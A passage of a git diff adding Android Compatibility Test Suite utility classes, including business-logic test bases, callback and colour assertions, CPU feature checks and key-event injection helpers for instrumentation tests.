+                ret.putInt(key, (Integer) value);
+
+            } else if (value instanceof String) {
+                ret.putString(key, (String) value);
+
+            } else if (value instanceof Bundle) {
+                ret.putBundle(key, (Bundle) value);
+            } else {
+                throw new IllegalArgumentException(
+                        "Type not supported yet: " + value.getClass().getName());
+            }
+        }
+        return ret;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
new file mode 100644
index 0000000..d12caa8
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.junit.Before;
+
+/**
+ *  Device-side base class for tests leveraging the Business Logic service for rules that are
+ *  conditionally added based on the device characteristics.
+ */
+public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
+
+    @Override
+    @Before
+    public void handleBusinessLogic() {
+        super.loadBusinessLogic();
+        ensureAuthenticated();
+        super.executeBusinessLogic();
+    }
+
+    protected void ensureAuthenticated() {
+        if (!mCanReadBusinessLogic) {
+            // super class handles the condition that the service is unavailable.
+            return;
+        }
+
+        if (!mBusinessLogic.mConditionalTestsEnabled) {
+            skipTest("Execution of device specific tests is not enabled. "
+                    + "Enable with '--conditional-business-logic-tests-enabled'");
+        }
+
+        if (mBusinessLogic.isAuthorized()) {
+            // Run test as normal.
+            return;
+        }
+        String message = mBusinessLogic.getAuthenticationStatusMessage();
+
+        // Fail test since request was not authorized.
+        failTest(String.format("Unable to execute because %s.", message));
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
new file mode 100644
index 0000000..7d7aaf0
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for device side test cases
+ */
+public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
+
+    private Context mContext;
+    private Object mTestObj;
+
+    public BusinessLogicDeviceExecutor(Context context, Object testObj) {
+        mContext = context;
+        mTestObj = testObj;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected Object getTestObject() {
+        return mTestObj;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void logInfo(String format, Object... args) {
+        Log.i(LOG_TAG, String.format(format, args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void logDebug(String format, Object... args) {
+        Log.d(LOG_TAG, String.format(format, args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected String formatExecutionString(String method, String... args) {
+        return String.format("%s(%s)", method, TextUtils.join(", ", args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+            throws ClassNotFoundException {
+        List<Method> nameMatches = getMethodsWithName(cls, methodName);
+        for (Method m : nameMatches) {
+            ResolvedMethod rm = new ResolvedMethod(m);
+            int paramTypesMatched = 0;
+            int argsUsed = 0;
+            Class[] paramTypes = m.getParameterTypes();
+            for (Class paramType : paramTypes) {
+                if (argsUsed == args.length && paramType.equals(String.class)) {
+                    // We've used up all supplied string args, so this method will not match.
+                    // If paramType is the Context class, we can match a paramType without needing
+                    // more string args. similarly, paramType "String[]" can be matched with zero
+                    // string args. If we add support for more paramTypes, this logic may require
+                    // adjustment.
+                    break;
+                }
+                if (paramType.equals(String.class)) {
+                    // Type "String" -- supply the next available arg
+                    rm.addArg(args[argsUsed++]);
+                } else if (Context.class.isAssignableFrom(paramType)) {
+                    // Type "Context" -- supply the context from the test case
+                    rm.addArg(mContext);
+                } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+                    // Type "String[]" (or "String...") -- supply all remaining args
+                    rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+                    argsUsed += (args.length - argsUsed);
+                } else {
+                    break; // Param type is unrecognized, this method will not match.
+                }
+                paramTypesMatched++; // A param type has been matched when reaching this point.
+            }
+            if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+                return rm; // Args match, methods match, so return the first method-args pairing.
+            }
+            // Not a match, try args for next method that matches by name.
+        }
+        throw new RuntimeException(String.format(
+                "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+                Arrays.toString(args)));
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
new file mode 100644
index 0000000..36e647b
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.io.File;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Device-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicTestCase {
+
+    /* String marking the beginning of the parameter in a test name */
+    private static final String PARAM_START = "[";
+
+    /* Test name rule that tracks the current test method under execution */
+    @Rule public TestName mTestCase = new TestName();
+
+    protected BusinessLogic mBusinessLogic;
+    protected boolean mCanReadBusinessLogic = true;
+
+    @Before
+    public void handleBusinessLogic() {
+        loadBusinessLogic();
+        executeBusinessLogic();
+    }
+
+    protected void executeBusinessLogic() {
+        String methodName = mTestCase.getMethodName();
+        assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+                + "remote configuration.", methodName), mCanReadBusinessLogic);
+        if (methodName.contains(PARAM_START)) {
+            // Strip parameter suffix (e.g. "[0]") from method name
+            methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+        }
+        String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+        if (mBusinessLogic.hasLogicFor(testName)) {
+            Log.i("Finding business logic for test case: ", testName);
+            BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
+            mBusinessLogic.applyLogicFor(testName, executor);
+        }
+    }
+
+    protected void loadBusinessLogic() {
+        File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
+        if (businessLogicFile.canRead()) {
+            mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+        } else {
+            mCanReadBusinessLogic = false;
+        }
+    }
+
+    protected static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    protected static Context getContext() {
+        return getInstrumentation().getTargetContext();
+    }
+
+    public static void skipTest(String message) {
+        assumeTrue(message, false);
+    }
+
+    public static void failTest(String message) {
+        fail(message);
+    }
+
+    public void mapPut(String mapName, String key, String value) {
+        boolean put = false;
+        for (Field f : getClass().getDeclaredFields()) {
+            if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
+                try {
+                    ((Map) f.get(this)).put(key, value);
+                    put = true;
+                } catch (IllegalAccessException e) {
+                    Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
+                            f.getName()), e);
+                    // continue iterating through fields, throw exception if no other fields match
+                }
+            }
+        }
+        if (!put) {
+            throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
+                    getClass().getName()));
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CTSResult.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CTSResult.java
new file mode 100644
index 0000000..d60155a
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CTSResult.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+package com.android.compatibility.common.util;
+
+public interface CTSResult {
+    public static final int RESULT_OK = 1;
+    public static final int RESULT_FAIL = 2;
+    public void setResult(int resultCode);
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
new file mode 100644
index 0000000..5a9a2a6
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CallbackAsserter.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static junit.framework.Assert.fail;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.database.ContentObserver;
+import android.net.Uri;
+import androidx.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.function.Predicate;
+
+/**
+ * CallbackAsserter helps wait until a callback is called.
+ */
+public class CallbackAsserter {
+    private static final String TAG = "CallbackAsserter";
+
+    final CountDownLatch mLatch = new CountDownLatch(1);
+
+    CallbackAsserter() {
+    }
+
+    /**
+     * Call this to assert a callback be called within the given timeout.
+     */
+    public final void assertCalled(String message, int timeoutSeconds) throws Exception {
+        try {
+            if (mLatch.await(timeoutSeconds, TimeUnit.SECONDS)) {
+                return;
+            }
+            fail("Didn't receive callback: " + message);
+        } finally {
+            cleanUp();
+        }
+    }
+
+    void cleanUp() {
+    }
+
+    /**
+     * Create an instance for a broadcast.
+     */
+    public static CallbackAsserter forBroadcast(IntentFilter filter) {
+        return forBroadcast(filter, null);
+    }
+
+    /**
+     * Create an instance for a broadcast.
+     */
+    public static CallbackAsserter forBroadcast(IntentFilter filter, Predicate<Intent> checker) {
+        return new BroadcastAsserter(filter, checker);
+    }
+
+    /**
+     * Create an instance for a content changed notification.
+     */
+    public static CallbackAsserter forContentUri(Uri watchUri) {
+        return forContentUri(watchUri, null);
+    }
+
+    /**
+     * Create an instance for a content changed notification.
+     */
+    public static CallbackAsserter forContentUri(Uri watchUri, Predicate<Uri> checker) {
+        return new ContentObserverAsserter(watchUri, checker);
+    }
+
+    private static class BroadcastAsserter extends CallbackAsserter {
+        private final BroadcastReceiver mReceiver;
+
+        BroadcastAsserter(IntentFilter filter, Predicate<Intent> checker) {
+            mReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    if (checker != null && !checker.test(intent)) {
+                        Log.v(TAG, "Ignoring intent: " + intent);
+                        return;
+                    }
+                    mLatch.countDown();
+                }
+            };
+            InstrumentationRegistry.getContext().registerReceiver(mReceiver, filter);
+        }
+
+        @Override
+        void cleanUp() {
+            InstrumentationRegistry.getContext().unregisterReceiver(mReceiver);
+        }
+    }
+
+    private static class ContentObserverAsserter extends CallbackAsserter {
+        private final ContentObserver mObserver;
+
+        ContentObserverAsserter(Uri watchUri, Predicate<Uri> checker) {
+            mObserver = new ContentObserver(null) {
+                @Override
+                public void onChange(boolean selfChange, Uri uri) {
+                    if (checker != null && !checker.test(uri)) {
+                        Log.v(TAG, "Ignoring notification on URI: " + uri);
+                        return;
+                    }
+                    mLatch.countDown();
+                }
+            };
+            InstrumentationRegistry.getContext().getContentResolver().registerContentObserver(
+                    watchUri, true, mObserver);
+        }
+
+        @Override
+        void cleanUp() {
+            InstrumentationRegistry.getContext().getContentResolver().unregisterContentObserver(
+                    mObserver);
+        }
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
new file mode 100644
index 0000000..a2439c7
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ColorUtils.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.graphics.Color;
+
+public class ColorUtils {
+    public static void verifyColor(int expected, int observed) {
+        verifyColor(expected, observed, 0);
+    }
+
+    public static void verifyColor(int expected, int observed, int tolerance) {
+        String s = "expected " + Integer.toHexString(expected)
+                + ", observed " + Integer.toHexString(observed)
+                + ", tolerated channel error " + tolerance;
+        assertEquals(s, Color.red(expected), Color.red(observed), tolerance);
+        assertEquals(s, Color.green(expected), Color.green(observed), tolerance);
+        assertEquals(s, Color.blue(expected), Color.blue(observed), tolerance);
+        assertEquals(s, Color.alpha(expected), Color.alpha(observed), tolerance);
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ConnectivityUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ConnectivityUtils.java
new file mode 100644
index 0000000..09a0a85
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ConnectivityUtils.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.NetworkInfo;
+
+public class ConnectivityUtils {
+    private ConnectivityUtils() {
+    }
+
+    /** @return true when the device has a network connection. */
+    public static boolean isNetworkConnected(Context context) {
+        final NetworkInfo networkInfo = context.getSystemService(ConnectivityManager.class)
+                .getActiveNetworkInfo();
+        return (networkInfo != null) && networkInfo.isConnected();
+    }
+
+    /** Assert that the device has a network connection. */
+    public static void assertNetworkConnected(Context context) {
+        assertTrue("Network must be connected", isNetworkConnected(context));
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
new file mode 100644
index 0000000..6cf1414
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CpuFeatures.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2010 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.os.Build;
+
+public class CpuFeatures {
+
+    public static final String ARMEABI_V7 = "armeabi-v7a";
+
+    public static final String ARMEABI = "armeabi";
+
+    public static final String MIPSABI = "mips";
+
+    public static final  String X86ABI = "x86";
+
+    public static final int HWCAP_VFP = (1 << 6);
+
+    public static final int HWCAP_NEON = (1 << 12);
+
+    public static final int HWCAP_VFPv3 = (1 << 13);
+
+    public static final int HWCAP_VFPv4 = (1 << 16);
+
+    public static final int HWCAP_IDIVA = (1 << 17);
+
+    public static final int HWCAP_IDIVT = (1 << 18);
+
+    static {
+        System.loadLibrary("cts_jni");
+    }
+
+    public static native boolean isArmCpu();
+
+    public static native boolean isArm7Compatible();
+
+    public static native boolean isMipsCpu();
+
+    public static native boolean isX86Cpu();
+
+    public static native boolean isArm64Cpu();
+
+    public static native boolean isMips64Cpu();
+
+    public static native boolean isX86_64Cpu();
+
+    public static native int getHwCaps();
+
+    public static boolean isArm64CpuIn32BitMode() {
+        if (!isArmCpu()) {
+            return false;
+        }
+
+        for (String abi : Build.SUPPORTED_64_BIT_ABIS) {
+            if (abi.equals("arm64-v8a")) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsAndroidTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
new file mode 100644
index 0000000..1ffad1d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsAndroidTestCase.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2012 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.test.ActivityInstrumentationTestCase2;
+
+/**
+ *  This class emulates AndroidTestCase, but internally it is ActivityInstrumentationTestCase2
+ *  to access Instrumentation.
+ *  DummyActivity is not supposed to be accessed.
+ */
+public class CtsAndroidTestCase extends ActivityInstrumentationTestCase2<DummyActivity> {
+    public CtsAndroidTestCase() {
+        super(DummyActivity.class);
+    }
+
+    public Context getContext() {
+        return getInstrumentation().getContext();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
new file mode 100644
index 0000000..97e4310
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/CtsKeyEventUtil.java
@@ -0,0 +1,293 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.app.Instrumentation;
+import android.os.Looper;
+import android.os.SystemClock;
+import android.util.Log;
+import android.view.InputDevice;
+import android.view.KeyCharacterMap;
+import android.view.KeyEvent;
+import android.view.View;
+import android.view.inputmethod.InputMethodManager;
+
+import java.lang.reflect.Field;
+
+/**
+ * Utility class to send KeyEvents bypassing the IME. The code is similar to functions in
+ * {@link Instrumentation} and {@link android.test.InstrumentationTestCase} classes. It uses
+ * {@link InputMethodManager#dispatchKeyEventFromInputMethod(View, KeyEvent)} to send the events.
+ * After sending the events waits for idle.
+ */
+public final class CtsKeyEventUtil {
+
+    private CtsKeyEventUtil() {}
+
+    /**
+     * Sends the key events corresponding to the text to the app being instrumented.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param text The text to be sent. Null value returns immediately.
+     */
+    public static void sendString(final Instrumentation instrumentation, final View targetView,
+            final String text) {
+        if (text == null) {
+            return;
+        }
+
+        KeyEvent[] events = getKeyEvents(text);
+
+        if (events != null) {
+            for (int i = 0; i < events.length; i++) {
+                // We have to change the time of an event before injecting it because
+                // all KeyEvents returned by KeyCharacterMap.getEvents() have the same
+                // time stamp and the system rejects too old events. Hence, it is
+                // possible for an event to become stale before it is injected if it
+                // takes too long to inject the preceding ones.
+                sendKey(instrumentation, targetView, KeyEvent.changeTimeRepeat(
+                        events[i], SystemClock.uptimeMillis(), 0 /* newRepeat */));
+            }
+        }
+    }
+
+    /**
+     * Sends a series of key events through instrumentation. For instance:
+     * sendKeys(view, KEYCODE_DPAD_LEFT, KEYCODE_DPAD_CENTER).
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param keys The series of key codes.
+     */
+    public static void sendKeys(final Instrumentation instrumentation, final View targetView,
+            final int...keys) {
+        final int count = keys.length;
+
+        for (int i = 0; i < count; i++) {
+            try {
+                sendKeyDownUp(instrumentation, targetView, keys[i]);
+            } catch (SecurityException e) {
+                // Ignore security exceptions that are now thrown
+                // when trying to send to another app, to retain
+                // compatibility with existing tests.
+            }
+        }
+    }
+
+    /**
+     * Sends a series of key events through instrumentation. The sequence of keys is a string
+     * containing the key names as specified in KeyEvent, without the KEYCODE_ prefix. For
+     * instance: sendKeys(view, "DPAD_LEFT A B C DPAD_CENTER"). Each key can be repeated by using
+     * the N* prefix. For instance, to send two KEYCODE_DPAD_LEFT, use the following:
+     * sendKeys(view, "2*DPAD_LEFT").
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param keysSequence The sequence of keys.
+     */
+    public static void sendKeys(final Instrumentation instrumentation, final View targetView,
+            final String keysSequence) {
+        final String[] keys = keysSequence.split(" ");
+        final int count = keys.length;
+
+        for (int i = 0; i < count; i++) {
+            String key = keys[i];
+            int repeater = key.indexOf('*');
+
+            int keyCount;
+            try {
+                keyCount = repeater == -1 ? 1 : Integer.parseInt(key.substring(0, repeater));
+            } catch (NumberFormatException e) {
+                Log.w("ActivityTestCase", "Invalid repeat count: " + key);
+                continue;
+            }
+
+            if (repeater != -1) {
+                key = key.substring(repeater + 1);
+            }
+
+            for (int j = 0; j < keyCount; j++) {
+                try {
+                    final Field keyCodeField = KeyEvent.class.getField("KEYCODE_" + key);
+                    final int keyCode = keyCodeField.getInt(null);
+                    try {
+                        sendKeyDownUp(instrumentation, targetView, keyCode);
+                    } catch (SecurityException e) {
+                        // Ignore security exceptions that are now thrown
+                        // when trying to send to another app, to retain
+                        // compatibility with existing tests.
+                    }
+                } catch (NoSuchFieldException e) {
+                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
+                    break;
+                } catch (IllegalAccessException e) {
+                    Log.w("ActivityTestCase", "Unknown keycode: KEYCODE_" + key);
+                    break;
+                }
+            }
+        }
+    }
+
+    /**
+     * Sends an up and down key events.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param key The integer keycode for the event to be sent.
+     */
+    public static void sendKeyDownUp(final Instrumentation instrumentation, final View targetView,
+            final int key) {
+        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_DOWN, key));
+        sendKey(instrumentation, targetView, new KeyEvent(KeyEvent.ACTION_UP, key));
+    }
+
+    /**
+     * Sends a key event.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param event KeyEvent to be send.
+     */
+    public static void sendKey(final Instrumentation instrumentation, final View targetView,
+            final KeyEvent event) {
+        validateNotAppThread();
+
+        long downTime = event.getDownTime();
+        long eventTime = event.getEventTime();
+        int action = event.getAction();
+        int code = event.getKeyCode();
+        int repeatCount = event.getRepeatCount();
+        int metaState = event.getMetaState();
+        int deviceId = event.getDeviceId();
+        int scanCode = event.getScanCode();
+        int source = event.getSource();
+        int flags = event.getFlags();
+        if (source == InputDevice.SOURCE_UNKNOWN) {
+            source = InputDevice.SOURCE_KEYBOARD;
+        }
+        if (eventTime == 0) {
+            eventTime = SystemClock.uptimeMillis();
+        }
+        if (downTime == 0) {
+            downTime = eventTime;
+        }
+
+        final KeyEvent newEvent = new KeyEvent(downTime, eventTime, action, code, repeatCount,
+                metaState, deviceId, scanCode, flags, source);
+
+        InputMethodManager imm = targetView.getContext().getSystemService(InputMethodManager.class);
+        imm.dispatchKeyEventFromInputMethod(null, newEvent);
+        instrumentation.waitForIdleSync();
+    }
+
+    /**
+     * Sends a key event while holding another modifier key down, then releases both keys and
+     * waits for idle sync. Useful for sending combinations like shift + tab.
+     *
+     * @param instrumentation the instrumentation used to run the test.
+     * @param targetView View to find the ViewRootImpl and dispatch.
+     * @param keyCodeToSend The integer keycode for the event to be sent.
+     * @param modifierKeyCodeToHold The integer keycode of the modifier to be held.
+     */
+    public static void sendKeyWhileHoldingModifier(final Instrumentation instrumentation,
+            final View targetView, final int keyCodeToSend,
+            final int modifierKeyCodeToHold) {
+        final int metaState = getMetaStateForModifierKeyCode(modifierKeyCodeToHold);
+        final long downTime = SystemClock.uptimeMillis();
+
+        final KeyEvent holdKeyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+                modifierKeyCodeToHold, 0 /* repeat */);
+        sendKey(instrumentation ,targetView, holdKeyDown);
+
+        final KeyEvent keyDown = new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN,
+                keyCodeToSend, 0 /* repeat */, metaState);
+        sendKey(instrumentation, targetView, keyDown);
+
+        final KeyEvent keyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
+                keyCodeToSend, 0 /* repeat */, metaState);
+        sendKey(instrumentation, targetView, keyUp);
+
+        final KeyEvent holdKeyUp = new KeyEvent(downTime, downTime, KeyEvent.ACTION_UP,
+                modifierKeyCodeToHold, 0 /* repeat */);
+        sendKey(instrumentation, targetView, holdKeyUp);
+
+        instrumentation.waitForIdleSync();
+    }
+
+    private static int getMetaStateForModifierKeyCode(int modifierKeyCode) {
+        if (!KeyEvent.isModifierKey(modifierKeyCode)) {
+            throw new IllegalArgumentException("Modifier key expected, but got: "
+                    + KeyEvent.keyCodeToString(modifierKeyCode));
+        }
+
+        int metaState;
+        switch (modifierKeyCode) {
+            case KeyEvent.KEYCODE_SHIFT_LEFT:
+                metaState = KeyEvent.META_SHIFT_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_SHIFT_RIGHT:
+                metaState = KeyEvent.META_SHIFT_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_ALT_LEFT:
+                metaState = KeyEvent.META_ALT_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_ALT_RIGHT:
+                metaState = KeyEvent.META_ALT_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_CTRL_LEFT:
+                metaState = KeyEvent.META_CTRL_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_CTRL_RIGHT:
+                metaState = KeyEvent.META_CTRL_RIGHT_ON;
+                break;
+            case KeyEvent.KEYCODE_META_LEFT:
+                metaState = KeyEvent.META_META_LEFT_ON;
+                break;
+            case KeyEvent.KEYCODE_META_RIGHT:
+                metaState = KeyEvent.META_META_RIGHT_ON;
+                break;
